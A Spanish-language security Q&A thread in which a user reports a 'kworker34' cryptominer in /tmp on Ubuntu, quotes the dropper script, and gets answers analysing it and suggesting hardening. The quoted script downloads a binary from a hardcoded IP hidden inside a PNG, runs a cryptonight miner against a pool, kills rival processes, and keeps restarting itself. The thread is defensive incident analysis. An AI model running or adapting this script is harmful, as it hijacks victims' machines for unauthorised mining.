kworker34 malware en Linux

6

Clam encontró este archivo llamado "kworker34" en el directorio / tmp en mi máquina Linux de Ubuntu. Borré rápidamente este archivo. También se encontró un archivo de shell, kws.sh allí. Parece que se está conectando a 2 direcciones IP, una en Rusia y otra en Ucrania.

Alguien ha visto esto?

Este es el contenido de kwa.sh -

#!/bin/sh
ps -fe|grep kworker34 |grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
wget 91.235.143.237/miu.png -O /tmp/conn
dd if=/tmp/conn skip=7664 bs=1 of=/tmp/kworker34
else
wget -O /tmp/kworker34 http://91.235.143.237/kworker_na
fi
chmod +x /tmp/kworker34
nohup /tmp/kworker34  -B -a cryptonight -o stratum+tcp://185.154.52.74:80 -u 13 -p x >/dev/null 2>&1 &
else
echo "runing....."
fi
pkill -f conns
pkill -f irqbalance
crontab -l | sed '/91.230.47.40/d' | crontab -

sleepTime=20

while [ 0 -lt 1 ]
do
    ps -fe| grep kworker34 | grep -v grep
    if [ $? -ne 0 ]
    then
        echo "process not exists ,restart process now... "
                wget 91.235.143.237/miu.png -O /tmp/conn
                dd if=/tmp/conn skip=7664 bs=1 of=/tmp/kworker34
                chmod +x /tmp/kworker34
                nohup /tmp/kworker34 -a cryptonight -o stratum+tcp://185.154.52.74:80 -u 13 -p x >/dev/null 2>&1 &
        echo "restart done ..... "
    else
        echo "process exists , sleep $sleepTime seconds "
        pkill -f conns
        pkill -f irqbalance
        crontab -l | sed '/91.230.47.40/d' | crontab -
    fi
    sleep $sleepTime
done
    
pregunta Do Will 21.05.2017 - 21:26
fuente

4 respuestas

12
... /tmp/kworker34 ... -o stratum+tcp://185.154.52.74:80 ...

La búsqueda en Google de stratum + tcp indica que la minería de cripto-moneda está en marcha.

 wget 91.235.143.237/miu.png -O /tmp/conn
 dd if=/tmp/conn skip=7664 bs=1 of=/tmp/kworker34

Tener una mirada más cercana con file /tmp/kworker34 indica /tmp/kworker34: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped . Esto significa que el archivo PNG se utiliza para transportar un binario de Linux.

strings /tmp/kworker34 da entre un montón de basura:

$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.91 Copyright (C) 1996-2013 the UPX Team. All Rights Reserved. $

El empaquetador UPX no es malo en sí mismo, pero a menudo se usa en el contexto de malware. El uso de upx -d para descomprimir el archivo y volver a ejecutar strings revela algunas cadenas interesantes:

User-Agent: cpuminer/2.3.3
...
Try 'minerd --help' for more information.
Usage: minerd [OPTIONS]
  -o, --url=URL         URL of mining server
  -O, --userpass=U:P    username:password pair for mining server
  ...

Por lo tanto, esta es probablemente la versión 2.3.3 de cpuminer, que se puede encontrar en github y que se describe como:

  

Este es un minero de CPU multiproceso para Litecoin y Bitcoin,   tenedor de cpuminer de referencia de Jeff Garzik.

Para obtener más información sobre el tema de los mineros no deseados, consulte El nuevo malware de Linux instala el software de minería Bitcoin en un dispositivo infectado y otros enlaces .

    
respondido por el Steffen Ullrich 21.05.2017 - 22:08
fuente
5

Sí, recientemente se descubrió alguna vulnerabilidad de Jenkins que permite ejecutar algo de código en la instancia obsoleta de Jenkins, que generalmente se extrae de los programas de criptomoneda Monero. Consulte estos enlaces para obtener más información:
enlace enlace

Instala la versión 2.46.2 / 2.57 o superior de Jenkins para evitar la infección.

Por cierto. Hubo una gran propagación de los mineros de malware de Monero una semana antes de que apareciera WannaCry.

    
respondido por el MichalTheDweller 01.06.2017 - 13:03
fuente
4

Descubrí que el proceso se ejecuta con mis credenciales de usuario del servidor de compilación jenkins, por lo que podría ser una forma de infección.

    
respondido por el Normen 26.05.2017 - 22:58
fuente
1

[Pensé que publicaría esto como una respuesta, así que ayudará a cualquier persona que tenga este problema]

Examinando este tema, esto es lo que creo que estaba pasando. El intruso estaba usando un agujero en mi aplicación para ejecutar un comando para descargar un archivo tar en mi directorio / tmp. Luego, ejecuta un comando para extraer el contenido del archivo tar. El tar contiene un archivo de shell. Luego, procede a ejecutar el propio archivo shell.

Todavía no he podido encontrar el agujero en mi aplicación que permitiera al intruso colarse en el script de mi sistema. No creo que sea demasiado difícil encontrar cómo entró. Es solo que no he tenido mucho tiempo para ir después de eso. Llegaré pronto a eso y lo bloquearé, seguro.

Mientras tanto, he realizado algunos cambios en mi sistema para evitar que descargue y ejecute un script en el sistema de archivos.

  • Se modificó el permiso del comando "wget". Es muy importante que Tomcat no se ejecute como root. No le dé permiso al usuario que está ejecutando Tomcat para ejecutar "wget".
  • Mi directorio / tmp fue creado como un directorio simple. Lo cambié a una partición montada desde un archivo con permisos nodev, noexec y nosuid.

Estos pasos parecen haber funcionado para mantener alejado al intruso, por ahora.

    
respondido por el Do Will 07.06.2017 - 16:16
fuente

Lea otras preguntas en las etiquetas